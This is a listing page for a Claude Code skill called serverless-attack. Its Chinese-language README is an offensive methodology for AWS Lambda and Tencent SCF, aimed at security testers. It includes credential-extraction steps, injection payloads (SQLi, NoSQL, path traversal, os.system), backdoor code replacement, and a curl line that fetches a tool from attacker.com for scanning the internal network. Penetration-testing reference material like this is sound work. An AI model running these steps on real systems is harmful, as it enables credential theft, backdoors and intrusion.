mcpField
S
serverless-attack

serverless-attack

github.com/wgpsecSecurity1.8k44 installsUpdated 4d ago
Repository

About serverless-attack

A Serverless attack methodology for security testers covering AWS Lambda and 腾讯云 SCF. It organizes reconnaissance, credential review, event injection, and runtime techniques by phase, with links to platform-specific references.

Key features

  1. 01Function environment reconnaissance
  2. 02Credential extraction from environment variables
  3. 03Function code vulnerability review
  4. 04Event injection and code replacement
  5. 05Runtime directory exploitation

Use cases

  1. 01Audit Lambda or SCF configuration and code
  2. 02Assess risks in event input handling
  3. 03Review temporary-directory and internal-network exposure

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill serverless-attack

After installing, type/serverless-attackin Claude Code to confirm it loaded.

Bundled filesreferences/lambda-techniques.mdreferences/scf-techniques.md

Details

From the project README

Serverless/云函数攻击方法论

Serverless 函数运行在短暂的容器中,传统的持久化和横向移动思路不适用。攻击重点是:事件注入(输入篡改)、凭据提取(环境变量/临时 Token)、代码注入(修改函数代码)。

按云平台查阅详细命令

识别云平台后,加载对应 reference 获取完整命令:

Phase 0: 通用信息收集

不论哪个云平台,第一步都是枚举函数列表、获取函数详情(代码 + 配置 + 环境变量)。具体命令参见对应 reference。

Phase 1: 环境变量提取(最快获取凭据的方式)

开发者经常在环境变量中硬编码数据库密码、API Key、其他服务凭据。常见敏感变量名:

  • DB_PASSWORD, DATABASE_URL, MONGODB_URI
  • AWS_ACCESS_KEY_ID(嵌套凭据)、TENCENTCLOUD_SECRET_ID
  • SECRET_KEY, JWT_SECRET, API_KEY
  • REDIS_URL, SMTP_PASSWORD

Phase 2: 函数代码分析

# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/

# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/

# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/

# 检查依赖版本
cat lambda_code/requirements.txt  # Python
cat lambda_code/package.json      # Node.js

Phase 3: 事件注入

Serverless 函数通过"事件"触发,事件数据就是输入——如果函数没有正确校验事件数据,就可以注入。

3.1 API Gateway → Lambda/SCF 注入

API Gateway 将 HTTP 请求封装为事件传给函数:

{
  "httpMethod": "POST",
  "path": "/api/query",
  "queryStringParameters": {"id": "1' OR '1'='1"},
  "body": "{\"username\": {\"$ne\": \"\"}}",
  "headers": {"X-Forwarded-For": "127.0.0.1"}
}

常见注入点:

  • queryStringParameters → SQL/NoSQL 注入
  • body → 反序列化/命令注入
  • headers → SSRF/日志注入
  • pathParameters → 路径遍历
3.2 OSS/COS/S3 触发器注入

对象存储触发器将文件信息作为事件:

{
  "Records": [{
    "s3": {
      "bucket": {"name": "my-bucket"},
      "object": {"key": "../../../etc/passwd"}
    }
  }]
}

如果函数用 event['key'] 拼接文件路径做 open() → 路径遍历。 如果函数处理上传的文件内容(如 XML/图片/CSV)→ XXE/SSRF/命令注入。

3.3 消息队列触发器

SQS/CMQ/Kafka 消息作为事件传入:

{"Records": [{"body": "'; import os; os.system('id'); '"}]}

Phase 4: 代码注入/覆盖

需要 UpdateFunctionCode 权限。具体命令参见对应云平台 reference。

核心思路:用恶意代码替换函数,让函数既执行原始功能又植入后门(如接受 cmd 参数执行命令)。

Layer 劫持(AWS Lambda 特有)

Lambda Layers 是共享的代码库,修改 Layer 可以影响所有使用它的函数。详见 references/lambda-techniques.md。

Phase 5: Runtime 环境利用

/tmp 目录利用

Serverless 函数的 /tmp 是唯一可写目录,且在"热启动"时会保留:

# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan

# 如果函数有内网访问权限(VPC 中),可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379

决策树

发现 Serverless 函数
├── 识别云平台 → 加载对应 reference(lambda-techniques / scf-techniques)
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入(SQLi/NoSQL/SSRF)
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件

Comments

Markdown supported